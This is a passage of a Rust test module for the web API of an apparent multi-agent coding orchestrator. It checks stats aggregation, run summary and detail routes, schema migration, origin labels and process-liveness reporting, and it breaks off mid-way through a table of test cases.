20402        state.advice = Some(Advice {
20403            records: vec![
20404                AdvisorRecord {
20405                    seat: "advisor-1".to_owned(),
20406                    agent: "alpha".to_owned(),
20407                    proposal: Some(Proposal {
20408                        approach: "do it".to_owned(),
20409                        key_tradeoff: "speed over memory".to_owned(),
20410                        risks: Vec::new(),
20411                        touches: Vec::new(),
20412                        why_not_naive: "breaks under load".to_owned(),
20413                    }),
20414                    error: None,
20415                    duration_ms: 0,
20416                    reflection: Reflection::Strong,
20417                },
20418                AdvisorRecord {
20419                    seat: "advisor-2".to_owned(),
20420                    agent: "alpha".to_owned(),
20421                    proposal: None,
20422                    error: Some("timed out".to_owned()),
20423                    duration_ms: 0,
20424                    reflection: Reflection::Absent,
20425                },
20426            ],
20427            synthesis: Some("blended brief".to_owned()),
20428        });
20429        let dir = f.runs().join(&state.id);
20430        std::fs::create_dir_all(&dir).expect("run dir");
20431        std::fs::write(
20432            dir.join("run.json"),
20433            serde_json::to_string_pretty(&state).expect("serialize run"),
20434        )
20435        .expect("write run.json");
20436
20437        // `alpha` is in no roster here; this test is about the rates.
20438        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
20439        let alpha = advisors
20440            .as_array()
20441            .expect("an array")
20442            .iter()
20443            .find(|a| a["agent"] == "alpha")
20444            .expect("alpha row");
20445        assert_eq!(alpha["seated"], 2);
20446        assert_eq!(alpha["proposed"], 1);
20447        assert_eq!(alpha["absent"], 1);
20448        assert_eq!(alpha["strong"], 1);
20449        assert_eq!(alpha["faint"], 0);
20450        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
20451    }
20452
20453    #[tokio::test]
20454    async fn stats_hides_agents_outside_the_roster_unless_all() {
20455        use crate::run::Candidate;
20456        let repo = TempDir::new().expect("repo dir");
20457        std::fs::write(
20458            repo.path().join("magi.toml"),
20459            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
20460        )
20461        .expect("magi.toml");
20462        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
20463        let mut state = RunState::new(
20464            PathBuf::from("/repo/magi"),
20465            "main".to_owned(),
20466            "0123456789abcdef".to_owned(),
20467            "task".to_owned(),
20468            Config::default(),
20469        );
20470        state.id = "20260902-140501-a".to_owned();
20471        state.status = RunStatus::Merged;
20472        for (label, agent) in [('A', "keep"), ('B', "retired")] {
20473            let mut c: Candidate = serde_json::from_value(serde_json::json!({
20474                "index": 0, "label": label.to_string(), "agent": agent,
20475                "branch": "b", "worktree": "/w",
20476            }))
20477            .expect("candidate");
20478            c.label = label;
20479            state.candidates.push(c);
20480        }
20481        let dir = f.runs().join(&state.id);
20482        std::fs::create_dir_all(&dir).expect("run dir");
20483        std::fs::write(
20484            dir.join("run.json"),
20485            serde_json::to_string_pretty(&state).expect("serialize run"),
20486        )
20487        .expect("write run.json");
20488
20489        let agents_of = |v: &serde_json::Value| -> Vec<String> {
20490            v["agents"]
20491                .as_array()
20492                .expect("array")
20493                .iter()
20494                .map(|a| a["agent"].as_str().unwrap().to_owned())
20495                .collect()
20496        };
20497        let hidden = f.get("/api/stats").await.json();
20498        assert_eq!(agents_of(&hidden), ["keep"]);
20499        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
20500        assert_eq!(hidden["totals"]["runs"], 1);
20501
20502        let all = f.get("/api/stats?all=true").await.json();
20503        assert_eq!(agents_of(&all).len(), 2);
20504        assert_eq!(all["retired_hidden"], serde_json::json!([]));
20505        // Verify competitive and solo keys exist on agent entries
20506        let keep_agent = all["agents"]
20507            .as_array()
20508            .unwrap()
20509            .iter()
20510            .find(|a| a["agent"] == "keep")
20511            .unwrap();
20512        assert_eq!(keep_agent["competitive_entered"], 1);
20513        assert_eq!(keep_agent["competitive_wins"], 0);
20514        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
20515        assert_eq!(keep_agent["solo_entered"], 0);
20516        assert_eq!(keep_agent["solo_adopted"], 0);
20517        assert!(keep_agent["solo_adoption_rate"].is_null());
20518    }
20519
20520    #[tokio::test]
20521    async fn stats_release_bumps_split_clean_from_attention() {
20522        use crate::run::ReleaseBump;
20523
20524        let f = Fixture::start().await;
20525
20526        let mut clean = RunState::new(
20527            PathBuf::from("/repo/magi"),
20528            "main".to_owned(),
20529            "0123456789abcdef".to_owned(),
20530            "task".to_owned(),
20531            Config::default(),
20532        );
20533        clean.id = "20260902-140501-a".to_owned();
20534        clean.status = RunStatus::Merged;
20535        clean.release_bump = Some(ReleaseBump {
20536            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
20537            version: Some("1.0.0".to_owned()),
20538            automerge_enabled: true,
20539            merged_directly: false,
20540            local: false,
20541            release: None,
20542            problem: None,
20543            action_required: None,
20544            skipped: None,
20545        });
20546
20547        let mut blocked = RunState::new(
20548            PathBuf::from("/repo/magi"),
20549            "main".to_owned(),
20550            "0123456789abcdef".to_owned(),
20551            "task".to_owned(),
20552            Config::default(),
20553        );
20554        blocked.id = "20260902-140502-b".to_owned();
20555        blocked.status = RunStatus::Merged;
20556        blocked.release_bump = Some(ReleaseBump {
20557            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
20558            version: Some("1.0.1".to_owned()),
20559            automerge_enabled: false,
20560            merged_directly: false,
20561            local: false,
20562            release: None,
20563            problem: Some("checks red".to_owned()),
20564            action_required: Some("look at the PR".to_owned()),
20565            skipped: None,
20566        });
20567
20568        for state in [&clean, &blocked] {
20569            let dir = f.runs().join(&state.id);
20570            std::fs::create_dir_all(&dir).expect("run dir");
20571            std::fs::write(
20572                dir.join("run.json"),
20573                serde_json::to_string_pretty(state).expect("serialize run"),
20574            )
20575            .expect("write run.json");
20576        }
20577
20578        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20579        assert_eq!(bumps["merged"], 2);
20580        assert_eq!(bumps["recorded"], 2);
20581        assert_eq!(bumps["pr_opened"], 2);
20582        assert_eq!(bumps["automerge_enabled"], 1);
20583        assert_eq!(bumps["needs_attention"], 1);
20584        assert_eq!(bumps["clean"], 1);
20585        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
20586        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
20587    }
20588
20589    #[tokio::test]
20590    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
20591        let f = Fixture::start().await;
20592        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20593
20594        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20595        assert_eq!(bumps["merged"], 1);
20596        assert_eq!(bumps["recorded"], 0);
20597        // `merged` is nonzero, so coverage still reads as a real 0%, not an
20598        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
20599        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
20600        // `pr_opened` and `recorded` are both zero here, so these rates have
20601        // no denominator to compute from and must be null.
20602        assert_eq!(bumps["automerge_rate"], Value::Null);
20603        assert_eq!(bumps["attention_rate"], Value::Null);
20604    }
20605
20606    #[tokio::test]
20607    async fn stats_queue_counts_come_from_the_live_queue() {
20608        let f = Fixture::start().await;
20609        let q = f.queue();
20610        let mut queued = Task::new(
20611            "queued task".to_owned(),
20612            "do it".to_owned(),
20613            PathBuf::from("/repo"),
20614            Source::Human,
20615        );
20616        q.put(&mut queued).expect("put queued");
20617        let mut held = Task::new(
20618            "held task".to_owned(),
20619            "do it later".to_owned(),
20620            PathBuf::from("/repo"),
20621            Source::Human,
20622        );
20623        held.hold_machine(Some("out of attempts".to_owned()));
20624        q.put(&mut held).expect("put held");
20625
20626        let queue = f.get("/api/stats").await.json()["queue"].clone();
20627        assert_eq!(queue["queued"], 1);
20628        assert_eq!(queue["held"], 1);
20629        assert_eq!(queue["running"], 0);
20630        assert_eq!(queue["done"], 0);
20631        assert_eq!(queue["failed"], 0);
20632        assert_eq!(queue["blocked"], 0);
20633    }
20634
20635    #[tokio::test]
20636    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
20637        let f = Fixture::start().await;
20638        let stats = f.get("/api/stats").await;
20639        assert_eq!(stats.status, 200);
20640        assert_eq!(stats.json()["totals"]["runs"], 0);
20641        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
20642        assert_eq!(stats.json()["runs_unreadable"], 0);
20643        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
20644        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
20645        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
20646        assert_eq!(stats.json()["repo"], Value::Null);
20647    }
20648
20649    #[tokio::test]
20650    async fn stats_lists_every_repository_with_runs_recorded() {
20651        let f = Fixture::start().await;
20652        write_run_repo(
20653            &f.runs(),
20654            "20260902-140501-a",
20655            RunStatus::Merged,
20656            "/repos/a",
20657        );
20658        write_run_repo(
20659            &f.runs(),
20660            "20260902-140502-b",
20661            RunStatus::Merged,
20662            "/repos/a",
20663        );
20664        write_run_repo(
20665            &f.runs(),
20666            "20260902-140503-c",
20667            RunStatus::Blocked,
20668            "/repos/b",
20669        );
20670
20671        let stats = f.get("/api/stats").await;
20672        assert_eq!(stats.status, 200);
20673        // Unfiltered - the aggregate across both repositories.
20674        assert_eq!(stats.json()["totals"]["runs"], 3);
20675        assert_eq!(stats.json()["repo"], Value::Null);
20676
20677        let repos = stats.json()["repos"].clone();
20678        let repos = repos.as_array().unwrap();
20679        assert_eq!(repos.len(), 2);
20680        // Busiest (2 runs) first.
20681        assert_eq!(repos[0]["repo"], "/repos/a");
20682        assert_eq!(repos[0]["name"], "a");
20683        assert_eq!(repos[0]["runs"], 2);
20684        assert_eq!(repos[1]["repo"], "/repos/b");
20685        assert_eq!(repos[1]["runs"], 1);
20686    }
20687
20688    #[tokio::test]
20689    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
20690        let f = Fixture::start().await;
20691        write_run_repo(
20692            &f.runs(),
20693            "20260902-140501-a",
20694            RunStatus::Merged,
20695            "/repos/a",
20696        );
20697        write_run_repo(
20698            &f.runs(),
20699            "20260902-140502-b",
20700            RunStatus::Blocked,
20701            "/repos/b",
20702        );
20703
20704        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
20705        assert_eq!(stats.status, 200);
20706        assert_eq!(stats.json()["totals"]["runs"], 1);
20707        assert_eq!(stats.json()["totals"]["merged"], 1);
20708        assert_eq!(stats.json()["repo"], "/repos/a");
20709        // The repository list itself is unaffected by the filter - it is
20710        // what a client switches repositories from.
20711        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
20712        // runs_unreadable is a whole-workload count, never scoped to the
20713        // selected repository - see StatsView::runs_unreadable's own doc.
20714        assert_eq!(stats.json()["runs_unreadable"], 0);
20715    }
20716
20717    #[tokio::test]
20718    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
20719        let f = Fixture::start().await;
20720        write_run_repo(
20721            &f.runs(),
20722            "20260902-140501-a",
20723            RunStatus::Merged,
20724            "/repos/a",
20725        );
20726        write_run_repo(
20727            &f.runs(),
20728            "20260902-140502-b",
20729            RunStatus::Merged,
20730            "/repos/b",
20731        );
20732
20733        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
20734            let json = f.get(uri).await.json();
20735            let daily = json["daily"].as_array().expect("daily is an array");
20736            assert_eq!(daily.len(), 30);
20737            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
20738            let mut sorted = dates.clone();
20739            sorted.sort();
20740            assert_eq!(dates, sorted);
20741            for d in daily {
20742                assert_eq!(
20743                    d["merged"].as_u64().unwrap()
20744                        + d["ready"].as_u64().unwrap()
20745                        + d["other"].as_u64().unwrap(),
20746                    d["runs"].as_u64().unwrap()
20747                );
20748            }
20749            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
20750        }
20751    }
20752
20753    #[tokio::test]
20754    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
20755        let f = Fixture::start().await;
20756        write_run_repo(
20757            &f.runs(),
20758            "20260902-140501-a",
20759            RunStatus::Merged,
20760            "/repos/a",
20761        );
20762
20763        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
20764        assert_eq!(stats.status, 404);
20765    }
20766
20767    #[tokio::test]
20768    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
20769        let f = Fixture::start().await;
20770        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
20771
20772        let summary = f.get("/api/runs").await.json();
20773        let row = &summary[0];
20774        assert_eq!(row["short"], "a1b2");
20775        assert_eq!(row["status"], "ready");
20776        assert_eq!(row["done"], true);
20777        assert_eq!(row["title"], "Add a web UI");
20778        assert_eq!(row["repo_name"], "magi");
20779        assert_eq!(row["judges"], 3);
20780        assert_eq!(row["winner"], Value::Null);
20781        assert_eq!(row["reviews"], 0);
20782
20783        // The short id resolves, and the detail route is the state itself, not
20784        // a projection of it: the UI reads fields the summary does not carry.
20785        let detail = f.get("/api/runs/a1b2").await;
20786        assert_eq!(detail.status, 200);
20787        assert_eq!(detail.json()["base_branch"], "main");
20788        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
20789    }
20790
20791    /// `status: "ready"` alone cannot tell a run still headed for a landing
20792    /// (a PR closed without merging, say) apart from one `[merge] mode =
20793    /// "none"` left unmerged for good — the confusion the operator flagged
20794    /// after the CLI report already grew a `not landed — nothing to do by
20795    /// design` line for exactly this case (`report.rs`). Both the list route
20796    /// and the detail route must carry a flag the phone can key on instead of
20797    /// re-deriving it from `status` + `merge.mode` itself.
20798    #[tokio::test]
20799    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20800        let f = Fixture::start().await;
20801
20802        let mut none_run = RunState::new(
20803            PathBuf::from("/repo/magi"),
20804            "main".to_owned(),
20805            "0123456789abcdef".to_owned(),
20806            "Add a web UI".to_owned(),
20807            Config::default(),
20808        );
20809        none_run.id = "20260902-140503-none".to_owned();
20810        none_run.status = RunStatus::Ready;
20811        none_run.merge = Some(crate::run::MergeOutcome {
20812            mode: crate::config::MergeMode::None,
20813            ok: true,
20814            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20815            empty: false,
20816        });
20817        write_state(&f.runs(), &none_run);
20818
20819        let mut pr_run = RunState::new(
20820            PathBuf::from("/repo/magi"),
20821            "main".to_owned(),
20822            "0123456789abcdef".to_owned(),
20823            "Add a web UI".to_owned(),
20824            Config::default(),
20825        );
20826        pr_run.id = "20260902-140504-prcl".to_owned();
20827        pr_run.status = RunStatus::Ready;
20828        pr_run.merge = Some(crate::run::MergeOutcome {
20829            mode: crate::config::MergeMode::Pr,
20830            ok: false,
20831            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20832            empty: false,
20833        });
20834        write_state(&f.runs(), &pr_run);
20835
20836        let summary = f.get("/api/runs").await.json();
20837        let rows: std::collections::HashMap<&str, &Value> = summary
20838            .as_array()
20839            .expect("an array")
20840            .iter()
20841            .map(|r| (r["id"].as_str().expect("an id"), r))
20842            .collect();
20843        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20844        assert_eq!(
20845            rows[none_run.id.as_str()]["unmerged_by_design"],
20846            true,
20847            "a mode-none Ready must be flagged in the list"
20848        );
20849        assert_eq!(
20850            rows[pr_run.id.as_str()]["unmerged_by_design"],
20851            false,
20852            "a Ready reached by a closed pull request is a different case"
20853        );
20854
20855        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20856        assert_eq!(none_detail["status"], "ready");
20857        assert_eq!(none_detail["unmerged_by_design"], true);
20858
20859        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20860        assert_eq!(pr_detail["unmerged_by_design"], false);
20861    }
20862
20863    /// `RunState::active` is only ever cleared by whoever populated it, so the
20864    /// detail route also has to say whether a daemon is actually still
20865    /// driving this run right now — otherwise a seat from a killed process's
20866    /// last wave would read as live forever.
20867    #[tokio::test]
20868    async fn run_core_survives_unavailable_related_stores() {
20869        let home = TempDir::new().unwrap();
20870        let ui = delta_test_ui(home.path());
20871        let state = RunState::new(
20872            PathBuf::from("/repo/magi"),
20873            "main".into(),
20874            "0123456789abcdef".into(),
20875            "Useful core instructions".into(),
20876            Config::default(),
20877        );
20878        let dir = ui.runs.join(&state.id);
20879        std::fs::create_dir_all(&dir).unwrap();
20880        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20881        std::fs::write(ui.questions.root(), "unavailable").unwrap();
20882        std::fs::write(ui.queue.root(), "unavailable").unwrap();
20883        let core = run_core(State(ui.clone()), Path(state.id.clone()))
20884            .await
20885            .unwrap()
20886            .0;
20887        assert_eq!(core.state.instruction, state.instruction);
20888        assert_eq!(core.state.updated_at, state.updated_at);
20889        assert!(core.task.is_none());
20890        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20891    }
20892
20893    #[tokio::test]
20894    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20895        let f = Fixture::start().await;
20896        // Matches `write_daemon`'s hard-coded `current.run`, so the second
20897        // half of this test can claim the daemon is working on it without a
20898        // second helper.
20899        let id = "20260902-140502-bbbb";
20900        let mut state = RunState::new(
20901            PathBuf::from("/repo/magi"),
20902            "main".to_owned(),
20903            "0123456789abcdef".to_owned(),
20904            "Add a web UI".to_owned(),
20905            Config::default(),
20906        );
20907        state.id = id.to_owned();
20908        state.status = RunStatus::Judging;
20909        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
20910        let dir = f.runs().join(id);
20911        std::fs::create_dir_all(&dir).expect("run dir");
20912        std::fs::write(
20913            dir.join("run.json"),
20914            serde_json::to_string_pretty(&state).expect("serialize run"),
20915        )
20916        .expect("write run.json");
20917
20918        // No daemon.json at all, and no `driver_pid` recorded either (this
20919        // state was written directly, never through `execute()`): there is
20920        // nothing to confirm either way, so the route must say `"unknown"` —
20921        // never `"dead"`, which is exactly the false diagnosis a manual `magi
20922        // run` used to get from this route before `driver_pid` existed.
20923        let cold = f.get(&format!("/api/runs/{id}")).await.json();
20924        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
20925        assert_eq!(cold["live"], "unknown", "{cold}");
20926
20927        // A fresh heartbeat naming exactly this run: the same entry now reads
20928        // as confirmed, not merely recorded.
20929        write_daemon(f.home.path(), Timestamp::now());
20930        let warm = f.get(&format!("/api/runs/{id}")).await.json();
20931        assert_eq!(warm["live"], "live", "{warm}");
20932    }
20933
20934    #[test]
20935    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
20936        let home = tempfile::tempdir().expect("temp home");
20937        let runs = home.path().join("runs");
20938        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
20939            let mut state = RunState::new(
20940                PathBuf::from("/repo/magi"),
20941                "main".to_owned(),
20942                "0123456789abcdef".to_owned(),
20943                "Generated review context, not authored task criteria".to_owned(),
20944                Config::default(),
20945            );
20946            state.origin = origin;
20947            state.status = RunStatus::Blocked;
20948            // Earlier migrations must not infer these facts again.
20949            state.driver_exited = false;
20950            state.gate_ran = true;
20951            let expected = serde_json::to_value(&state).expect("serialize current state");
20952            let mut legacy = expected.clone();
20953            legacy["schema"] = serde_json::json!(13);
20954            legacy.as_object_mut().unwrap().remove("task_instruction");
20955            let dir = runs.join(&state.id);
20956            std::fs::create_dir_all(&dir).expect("run dir");
20957            let path = dir.join("run.json");
20958            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
20959            std::fs::write(&path, &body).expect("write legacy run");
20960
20961            for loaded in [
20962                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
20963                read_run(&runs, &state.id).expect("web migration"),
20964            ] {
20965                assert_eq!(loaded.schema, crate::run::SCHEMA);
20966                assert!(loaded.task_instruction.is_none());
20967                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
20968            }
20969            assert_eq!(runs_unreadable(&runs), 0);
20970            assert_eq!(std::fs::read(&path).unwrap(), body);
20971        }
20972    }
20973
20974    /// Where a run came from is shown, and a run written before origins were
20975    /// recorded (schema 12, no `origin` key) stays readable and says so.
20976    #[tokio::test]
20977    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
20978        let f = Fixture::start().await;
20979        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
20980            let mut state = RunState::new(
20981                PathBuf::from("/repo/magi"),
20982                "main".to_owned(),
20983                "0123456789abcdef".to_owned(),
20984                "Add a web UI".to_owned(),
20985                Config::default(),
20986            );
20987            state.id = id.to_owned();
20988            state.origin = origin;
20989            let mut value = serde_json::to_value(&state).expect("serialize run");
20990            if let Some(schema) = schema {
20991                value["schema"] = serde_json::json!(schema);
20992                value.as_object_mut().unwrap().remove("origin");
20993            }
20994            let dir = f.runs().join(id);
20995            std::fs::create_dir_all(&dir).expect("run dir");
20996            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
20997        };
20998        write(
20999            "20260930-092817-ec34",
21000            Some(crate::run::Origin::from_agent_env(
21001                Some(("4a7b".to_owned(), "chat".to_owned())),
21002                None,
21003            )),
21004            None,
21005        );
21006        write("20260930-092817-0ld1", None, Some(12));
21007
21008        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
21009        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
21010        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
21011
21012        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
21013        assert_eq!(
21014            old["origin_label"], "origin unknown (started before origins were recorded)",
21015            "{old}"
21016        );
21017        assert!(old["origin"].is_null(), "{old}");
21018
21019        let list = f.get("/api/runs").await.json();
21020        let labels: Vec<_> = list
21021            .as_array()
21022            .unwrap()
21023            .iter()
21024            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
21025            .collect();
21026        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
21027    }
21028
21029    #[tokio::test]
21030    async fn run_progress_observation_exposes_activity_without_control_evidence() {
21031        let f = Fixture::start().await;
21032        let mut state = RunState::new(
21033            PathBuf::from("/repo"),
21034            "main".into(),
21035            "abc".into(),
21036            "task".into(),
21037            Config::default(),
21038        );
21039        state.status = RunStatus::Implementing;
21040        state.seat_started(
21041            "implement",
21042            "implement-A",
21043            std::time::Duration::from_secs(60),
21044            0,
21045        );
21046        state.save_under(f.home.path()).unwrap();
21047        let observed = f
21048            .get(&format!("/api/runs/{}/progress", state.id))
21049            .await
21050            .json();
21051        assert_eq!(observed["id"], state.id);
21052        assert!(observed["observed_at"].is_string());
21053        assert_eq!(observed["updated_at"], state.updated_at.to_string());
21054        assert!(observed["progress"]["activity"].is_string());
21055        for field in [
21056            "config",
21057            "candidates",
21058            "land_approval",
21059            "task",
21060            "waiting",
21061            "done",
21062        ] {
21063            assert!(
21064                observed.get(field).is_none(),
21065                "progress must not expose control evidence: {field}"
21066            );
21067        }
21068    }
21069
21070    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
21071    /// review` claims no daemon at all, so before this field existed the
21072    /// route above read it as `"dead"` — indistinguishable from a run a
21073    /// killed process abandoned — the whole time it was genuinely still
21074    /// answering. With a live pid recorded, it must read `"live"` even
21075    /// though no daemon claims it.
21076    #[tokio::test]
21077    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
21078        let f = Fixture::start().await;
21079        let id = "20260922-090000-cccc";
21080        let mut state = RunState::new(
21081            PathBuf::from("/repo/magi"),
21082            "main".to_owned(),
21083            "0123456789abcdef".to_owned(),
21084            "Review only".to_owned(),
21085            Config::default(),
21086        );
21087        state.id = id.to_owned();
21088        state.status = RunStatus::Reviewing;
21089        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
21090        // This test process's own pid: guaranteed alive, and never needs a
21091        // real daemon or a second process to prove it. The matching start-time
21092        // marker is what `liveness` now requires alongside a live pid — see
21093        // `RunState::driver_started_at`'s own doc for why the pid alone is
21094        // not enough.
21095        state.driver_pid = Some(std::process::id());
21096        state.driver_started_at = Some(
21097            crate::proc::process_started_at(std::process::id())
21098                .expect("this test process's own start time must be queryable"),
21099        );
21100        let dir = f.runs().join(id);
21101        std::fs::create_dir_all(&dir).expect("run dir");
21102        std::fs::write(
21103            dir.join("run.json"),
21104            serde_json::to_string_pretty(&state).expect("serialize run"),
21105        )
21106        .expect("write run.json");
21107
21108        let detail = f.get(&format!("/api/runs/{id}")).await.json();
21109        assert_eq!(detail["live"], "live", "{detail}");
21110    }
21111
21112    /// A killed manual run's pid can be handed to a wholly unrelated later
21113    /// process — a live query on `driver_pid` alone would read this as
21114    /// `"live"`, exactly the false positive `driver_started_at` exists to
21115    /// catch (see that field's own doc, and `RunState::liveness_with`'s
21116    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
21117    #[tokio::test]
21118    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
21119        let f = Fixture::start().await;
21120        let id = "20260922-090100-dddd";
21121        let mut state = RunState::new(
21122            PathBuf::from("/repo/magi"),
21123            "main".to_owned(),
21124            "0123456789abcdef".to_owned(),
21125            "Review only".to_owned(),
21126            Config::default(),
21127        );
21128        state.id = id.to_owned();
21129        state.status = RunStatus::Reviewing;
21130        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
21131        // This test process's own pid really is alive, but the marker
21132        // recorded here does not match what it actually started at —
21133        // standing in for the pid having since been reused by a different
21134        // process than the one that wrote `run.json`.
21135        state.driver_pid = Some(std::process::id());
21136        state.driver_started_at = Some("1".to_owned());
21137        let dir = f.runs().join(id);
21138        std::fs::create_dir_all(&dir).expect("run dir");
21139        std::fs::write(
21140            dir.join("run.json"),
21141            serde_json::to_string_pretty(&state).expect("serialize run"),
21142        )
21143        .expect("write run.json");
21144
21145        let detail = f.get(&format!("/api/runs/{id}")).await.json();
21146        assert_eq!(detail["live"], "dead", "{detail}");
21147    }
21148
21149    /// The deck's competition list is normally the first place an operator
21150    /// sees an old run. It must carry the same process verdict as detail, or
21151    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
21152    #[test]
21153    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
21154        let mk = |id: &str, pid: Option<u32>| {
21155            let mut s = RunState::new(
21156                PathBuf::from("/repo/magi"),
21157                "main".to_owned(),
21158                "0123456789abcdef".to_owned(),
21159                "Add a web UI".to_owned(),
21160                Config::default(),
21161            );
21162            s.id = id.to_owned();
21163            s.driver_pid = pid;
21164            s.driver_started_at = Some("1790000000".to_owned());
21165            s
21166        };
21167        let states = vec![
21168            mk("20260902-140502-aaaa", Some(77)),
21169            mk("20260902-140502-bbbb", Some(77)),
21170            mk("20260902-140502-cccc", Some(77)),
21171            mk("20260902-140502-dddd", None),
21172        ];
21173        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
21174        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
21175        let sup: HashMap<String, String> = [(
21176            "20260902-140502-aaaa".to_owned(),
21177            "20260902-140502-cccc".to_owned(),
21178        )]
21179        .into();
21180
21181        let status_calls = std::cell::Cell::new(0);
21182        let identity_calls = std::cell::Cell::new(0);
21183        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
21184            |_| {
21185                status_calls.set(status_calls.get() + 1);
21186                Some(true)
21187            },
21188            |_| {
21189                identity_calls.set(identity_calls.get() + 1);
21190                Some("1790000000".to_owned())
21191            },
21192        ));
21193        let rows = summarize(
21194            states,
21195            &open,
21196            &claimed,
21197            &sup,
21198            |p| probe.borrow_mut().status(p),
21199            |p| probe.borrow_mut().started_at(p),
21200        );
21201
21202        assert_eq!(status_calls.get(), 1, "one pid, one status query");
21203        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
21204        assert_eq!(rows.len(), 4);
21205        assert!(!rows[0].waiting && rows[1].waiting);
21206        assert_eq!(rows[0].live, crate::run::Liveness::Live);
21207        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
21208        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
21209        assert_eq!(rows[1].superseded_by, None);
21210    }
21211
21212    #[test]
21213    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
21214        let mut state = RunState::new(
21215            PathBuf::from("/repo/magi"),
21216            "main".to_owned(),
21217            "0123456789abcdef".to_owned(),
21218            "Review only".to_owned(),
21219            Config::default(),
21220        );
21221        state.id = "20260922-090200-dead".to_owned();
21222        state.status = RunStatus::Reviewing;
21223        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
21224            .expect("serialize list row");
21225        assert_eq!(row["status"], "reviewing");
21226        assert_eq!(row["display_status"], "stale");
21227        assert_eq!(row["live"], "dead", "{row}");
21228        assert!(!row["done"].as_bool().unwrap());
21229    }
21230
21231    #[test]
21232    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
21233        use crate::run::Liveness::{Dead, Live, Unknown};
21234        let mut state = RunState::new(
21235            PathBuf::from("/repo/magi"),
21236            "main".to_owned(),
21237            "abc".to_owned(),
21238            "Review only".to_owned(),
21239            Config::default(),
21240        );
21241        for (status, parked, node, waiting, live, expected) in [
21242            (
21243                RunStatus::Judging,
21244                true,
21245                "github-text",
21246                false,
21247                Dead,
21248                "parked",
21249            ),
21250            (RunStatus::Judging, false, "park", false, Dead, "stale"),
21251            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
21252            (
21253                RunStatus::Judging,
21254                true,
21255                "github-text",
21256                true,
21257                Dead,
21258                "waiting",
21259            ),
21260            (
21261                RunStatus::Judging,
21262                false,
21263                "github-text",
21264                true,
21265                Dead,
21266                "waiting",
21267            ),
21268            (
21269                RunStatus::Judging,
21270                false,
21271                "github-text",
21272                false,
21273                Dead,
21274                "stale",
21275            ),
